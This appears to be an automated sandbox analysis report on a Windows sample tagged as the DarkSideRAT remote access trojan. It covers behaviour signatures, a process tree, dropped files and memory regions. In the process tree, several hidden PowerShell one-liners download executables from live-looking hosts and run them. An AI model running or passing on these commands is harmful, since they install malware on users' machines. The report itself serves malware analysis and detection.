Analysis

  • max time kernel
    149s
  • max time network
    128s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/11/2026, 05:39

General

  • Target
    2026-11-01_e285e8ee0380c5116fb8bfe9006c2be0_icedid_luca-stealer_njrat_stealc.exe
  • Size 2.1MB
  • Sample261102-gclvesht9q
  • SHA256 7b72c500f425475e294e70f967bd1e1a730e58d472a67bc077027db6d3cd0d30
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: DarkSideRAT

    DarkSideRAT is a remote access trojan.

  • Detects DarkSideRAT 4 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Executes a command shell one-liner 1 TTPs 6 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-11-01_e285e8ee0380c5116fb8bfe9006c2be0_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-11-01_e285e8ee0380c5116fb8bfe9006c2be0_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1328
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK804387.exe; Start-Process -FilePath $env:TEMP\BK804387.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5172
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK804387.exe; Start-Process -FilePath $env:TEMP\BK804387.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4940
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK804387.exe; Start-Process -FilePath $env:TEMP\BK804387.exe -WindowStyle Hidden }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5960
    • C:\Users\Admin\AppData\Local\Temp\2026-11-01_e285e8ee0380c5116fb8bfe9006c2be0_icedid_luca-stealer_njrat_stealc.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-11-01_e285e8ee0380c5116fb8bfe9006c2be0_icedid_luca-stealer_njrat_stealc.exe"
      2⤵
        PID:4380
      • C:\Users\Admin\AppData\Local\Temp\v4s0dwi3.exe
        "C:\Users\Admin\AppData\Local\Temp\v4s0dwi3.exe" --clean "C:\Users\Admin\AppData\Local\Temp\2026-11-01_e285e8ee0380c5116fb8bfe9006c2be0_icedid_luca-stealer_njrat_stealc.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4860
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK804387.exe; Start-Process -FilePath $env:TEMP\BK804387.exe -WindowStyle Hidden }"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4260
          • C:\Windows\system32\cmd.exe
            cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK804387.exe; Start-Process -FilePath $env:TEMP\BK804387.exe -WindowStyle Hidden }"
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4084
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK804387.exe; Start-Process -FilePath $env:TEMP\BK804387.exe -WindowStyle Hidden }"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5500
        • C:\Users\Admin\AppData\Local\Temp\v4s0dwi3.exe
          "C:\Users\Admin\AppData\Local\Temp\v4s0dwi3.exe"
          3⤵
          • Executes dropped EXE
          PID:6116
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:APPDATA\BK933795.exe; Start-Process -FilePath $env:APPDATA\BK933795.exe -WindowStyle Hidden }"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2652
          • C:\Windows\system32\cmd.exe
            cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:APPDATA\BK933795.exe; Start-Process -FilePath $env:APPDATA\BK933795.exe -WindowStyle Hidden }"
            4⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3668
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:APPDATA\BK933795.exe; Start-Process -FilePath $env:APPDATA\BK933795.exe -WindowStyle Hidden }"
              5⤵
              • Badlisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Downloads MZ/PE file
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:5124
              • C:\Users\Admin\AppData\Roaming\BK933795.exe
                "C:\Users\Admin\AppData\Roaming\BK933795.exe"
                6⤵
                • Executes dropped EXE
                • Reads the TCP/IP host and domain name from the registry
                • Suspicious use of WriteProcessMemory
                PID:2112
                • C:\Windows\System32\ktmutil.exe
                  "C:\Windows\System32\ktmutil.exe"
                  7⤵
                    PID:2844

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            103621DE9CD5414CC2538780B4B75751

            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
            • Size 808B
            • SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
            • MD5 SHA1 SHA512 TLSH

            103621DE9CD5414CC2538780B4B75751

            • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
            • Size 192B
            • SHA256 5e83a0ec5d3a5c9388e900dc91ed66c8ae886955dd742cf8c7329ea6e85da73f
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 3dfa24eadb59990efaa14de2b904b2be69762768dc33c92aeb636810937e6ba0
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 94977161a25ec3136be62a63af7109eb867aee77cedee7ced60c62bb7648e99d
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_zj3vcqzs.u5t.psm1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zj3vcqzs.u5t.psm1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            myth_debug.log

            • Path C:\Users\Admin\AppData\Local\Temp\myth_debug.log
            • Size 433B
            • SHA256 3a63f5df77fac1de112718e373b43328bb60e1f7e7e44809eceb9e14cdd7b593
            • MD5 SHA1 SHA512 TLSH

            myth_debug.log

            • Path C:\Users\Admin\AppData\Local\Temp\myth_debug.log
            • Size 1KB
            • SHA256 3c357ea2abfa3ca1073f1240731785e5654aea8f0ed784ba6e3aa6bdf3f1d281
            • MD5 SHA1 SHA512 TLSH

            myth_debug.log

            • Path C:\Users\Admin\AppData\Local\Temp\myth_debug.log
            • Size 1KB
            • SHA256 8793d0eaa9f50f878775761c9a9926e75da29b4b4172bf1b12320325fdf71da0
            • MD5 SHA1 SHA512 TLSH

            v4s0dwi3.exe

            • Path C:\Users\Admin\AppData\Local\Temp\v4s0dwi3.exe
            • Size 2.1MB
            • SHA256 7b72c500f425475e294e70f967bd1e1a730e58d472a67bc077027db6d3cd0d30
            • MD5 SHA1 SHA512 SSDEEP TLSH

            BK933795.exe

            • Path C:\Users\Admin\AppData\Roaming\BK933795.exe
            • Size 56KB
            • SHA256 47c72580795661e45c4ea0dcc31954cc63467f149e013fb77a6816ad67ac2750
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/1328-9-0x0000000140000000-0x0000000140230000-memory.dmp

            memory/1328-0-0x0000000140000000-0x0000000140230000-memory.dmp

            memory/2844-115-0x00000170277A0000-0x0000017027EB9000-memory.dmp

            memory/2844-125-0x00000170277A0000-0x0000017027EB9000-memory.dmp

            memory/2844-117-0x00000170277A0000-0x0000017027EB9000-memory.dmp

            memory/2844-119-0x00000170277A0000-0x0000017027EB9000-memory.dmp

            memory/2844-118-0x00000170277A0000-0x0000017027EB9000-memory.dmp

            memory/2844-122-0x00000170277A0000-0x0000017027EB9000-memory.dmp

            memory/2844-121-0x00000170277A0000-0x0000017027EB9000-memory.dmp

            memory/2844-123-0x00000170277A0000-0x0000017027EB9000-memory.dmp

            memory/2844-120-0x00000170277A0000-0x0000017027EB9000-memory.dmp

            memory/2844-114-0x00000170277A0000-0x0000017027EB9000-memory.dmp

            memory/2844-124-0x00000170277A0000-0x0000017027EB9000-memory.dmp

            memory/2844-112-0x00000170277A0000-0x0000017027EB9000-memory.dmp

            memory/2844-106-0x00000170277A0000-0x0000017027EB9000-memory.dmp

            memory/2844-116-0x00000170277A0000-0x0000017027EB9000-memory.dmp

            memory/2844-113-0x00000170277A0000-0x0000017027EB9000-memory.dmp

            memory/2844-104-0x00000170277A0000-0x0000017027EB9000-memory.dmp

            memory/2844-111-0x00000170277A0000-0x0000017027EB9000-memory.dmp

            memory/2844-105-0x0000017027EC0000-0x0000017027EC1000-memory.dmp

            memory/4380-2-0x0000000140000000-0x0000000140015000-memory.dmp

            memory/4380-1-0x0000000140000000-0x0000000140015000-memory.dmp

            memory/4860-63-0x0000000140000000-0x0000000140230000-memory.dmp

            memory/4860-126-0x0000000140000000-0x0000000140230000-memory.dmp

            memory/5960-36-0x00007FFAF0450000-0x00007FFAF0DF4000-memory.dmp

            memory/5960-20-0x00007FFAF0450000-0x00007FFAF0DF4000-memory.dmp

            memory/5960-57-0x00007FFAF0450000-0x00007FFAF0DF4000-memory.dmp

            memory/5960-54-0x00007FFAF0450000-0x00007FFAF0DF4000-memory.dmp

            memory/5960-39-0x00007FFAF0450000-0x00007FFAF0DF4000-memory.dmp

            memory/5960-38-0x00007FFAF0450000-0x00007FFAF0DF4000-memory.dmp

            memory/5960-58-0x00007FFAF0450000-0x00007FFAF0DF4000-memory.dmp

            memory/5960-37-0x00007FFAF0450000-0x00007FFAF0DF4000-memory.dmp

            memory/5960-35-0x00007FFAF0450000-0x00007FFAF0DF4000-memory.dmp

            memory/5960-86-0x00007FFAF0450000-0x00007FFAF0DF4000-memory.dmp

            memory/5960-17-0x00007FFAF0450000-0x00007FFAF0DF4000-memory.dmp

            memory/5960-16-0x0000028858F60000-0x0000028858F82000-memory.dmp

            memory/5960-13-0x00007FFAF0450000-0x00007FFAF0DF4000-memory.dmp

            memory/5960-59-0x00007FFAF0450000-0x00007FFAF0DF4000-memory.dmp

            memory/5960-6-0x00007FFAF05DF000-0x00007FFAF05E0000-memory.dmp

            memory/6116-12-0x0000000140000000-0x0000000140015000-memory.dmp